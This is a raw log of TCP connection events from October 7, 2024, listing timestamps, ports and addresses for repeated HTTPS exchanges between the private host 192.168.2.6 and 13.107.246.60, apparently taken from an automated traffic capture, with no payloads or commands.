Oct 7, 2024 03:16:41.679286957 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.679311991 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.679354906 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.679533005 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.679542065 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.679596901 CEST	49920	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.679600954 CEST	443	49920	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.682749987 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.682846069 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.682948112 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.683063030 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.683099031 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.978044987 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.978852034 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.978924036 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:41.979492903 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:41.979505062 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.084177971 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.084330082 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.084407091 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.084655046 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.084698915 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.084726095 CEST	49921	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.084743023 CEST	443	49921	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.089149952 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.089253902 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.089363098 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.089565992 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.089601994 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.284383059 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.285094976 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.285146952 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.285934925 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.285948038 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.289429903 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.289920092 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.289937973 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.290555000 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.290560961 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.325206995 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.325814962 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.325845003 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.326472998 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.326479912 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.327415943 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.327841997 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.327879906 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.328337908 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.328347921 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.386586905 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.386653900 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.386713028 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.386723042 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.386770964 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.387073040 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.387120008 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.387145996 CEST	49922	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.387162924 CEST	443	49922	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.387244940 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.387444019 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.387492895 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.388381958 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.388400078 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.388407946 CEST	49923	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.388416052 CEST	443	49923	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.392011881 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.392046928 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.392129898 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.392471075 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.392486095 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.392904043 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.392951012 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.393027067 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.393170118 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.393186092 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.427853107 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.428045988 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.428092003 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.428118944 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.428284883 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.428406000 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.428443909 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.428462029 CEST	49925	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.428468943 CEST	443	49925	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.429223061 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.429410934 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.429471970 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.429547071 CEST	49924	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.429559946 CEST	443	49924	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.432709932 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.432811022 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.432849884 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.432873011 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.432917118 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.432980061 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.433150053 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.433150053 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.433180094 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.433213949 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.724634886 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.728957891 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.729010105 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.729690075 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.729701996 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.825167894 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.825432062 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.825542927 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.825834990 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.825879097 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.825906038 CEST	49926	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.825922012 CEST	443	49926	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.829729080 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.829773903 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:42.829873085 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.830064058 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:42.830079079 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.028485060 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.029134989 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.029154062 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.029848099 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.029858112 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.058815956 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.059478045 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.059511900 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.060158968 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.060165882 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.071536064 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.072156906 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.072218895 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.072755098 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.072767019 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.072798014 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.073173046 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.073189020 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.073704958 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.073717117 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.128220081 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.128370047 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.128524065 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.128667116 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.128691912 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.128704071 CEST	49928	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.128710032 CEST	443	49928	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.131967068 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.132014990 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.132139921 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.132361889 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.132378101 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.160538912 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.160614014 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.160686016 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.160708904 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.160732031 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.160790920 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.161062002 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.161084890 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.161098003 CEST	49927	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.161106110 CEST	443	49927	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.164693117 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.164748907 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.164887905 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.165106058 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.165127039 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.170911074 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.170952082 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171130896 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171237946 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.171313047 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.171313047 CEST	49929	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.171350956 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171377897 CEST	443	49929	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171435118 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171478033 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.171539068 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.171572924 CEST	49930	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.171585083 CEST	443	49930	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.174804926 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.174845934 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.174937010 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.175055981 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.175101995 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.175172091 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.175173044 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.175194025 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.175254107 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.175271988 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.519335032 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.520046949 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.520064116 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.520827055 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.520833015 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.624017000 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.624193907 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.624275923 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.651210070 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.651245117 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.651257992 CEST	49931	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.651264906 CEST	443	49931	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.655793905 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.655901909 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.656003952 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.656297922 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.656335115 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.799834013 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.800515890 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.800544977 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.801016092 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.801028013 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.804599047 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.805018902 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.805062056 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.805439949 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.805449009 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.821057081 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.821559906 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.821592093 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.822015047 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.822024107 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.849937916 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.850589991 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.850625038 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.851321936 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.851334095 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902333975 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902506113 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902594090 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902595043 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.902812004 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.902839899 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902856112 CEST	49933	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.902863979 CEST	443	49933	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.902968884 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.903027058 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.903063059 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.903084040 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.903095007 CEST	49932	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.903100967 CEST	443	49932	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.906574965 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.906615019 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.906697989 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.906755924 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.906765938 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.906821966 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.906848907 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.906863928 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.907033920 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.907043934 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.921492100 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.921525955 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.921571970 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.921590090 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.921627045 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.921849966 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.921868086 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.921879053 CEST	49935	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.921885014 CEST	443	49935	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.924810886 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.924897909 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.924988985 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.925174952 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.925213099 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.954618931 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.954730034 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.954827070 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.955024004 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.955061913 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.955080032 CEST	49934	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.955091000 CEST	443	49934	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.958260059 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.958381891 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:43.958484888 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.958638906 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:43.958673954 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.305876970 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.306464911 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.306529999 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.306935072 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.306948900 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.407846928 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.408118963 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.408178091 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.408210993 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.408281088 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.408489943 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.408535957 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.408566952 CEST	49936	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.408603907 CEST	443	49936	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.411432981 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.411468983 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.411550999 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.411854029 CEST	49941	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.411865950 CEST	443	49941	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.559070110 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.559689045 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.559719086 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.560404062 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.560416937 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.572824955 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.573205948 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.573252916 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.573766947 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.573775053 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.591137886 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.591563940 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.591613054 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.591972113 CEST	49940	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.591985941 CEST	443	49940	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.593955994 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.594266891 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.594275951 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.594599962 CEST	49937	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.594604969 CEST	443	49937	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.657722950 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.657819986 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.657917976 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.658164978 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.658194065 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.658237934 CEST	49939	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.658252001 CEST	443	49939	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.661643028 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.661657095 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.661755085 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.661984921 CEST	49942	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.661995888 CEST	443	49942	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.677582979 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.677746058 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.677819014 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.677887917 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.677906036 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.677917957 CEST	49938	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.677925110 CEST	443	49938	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:44.681041002 CEST	49943	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:44.681116104 CEST	443	49943	13.107.246.60	192.168.2.6
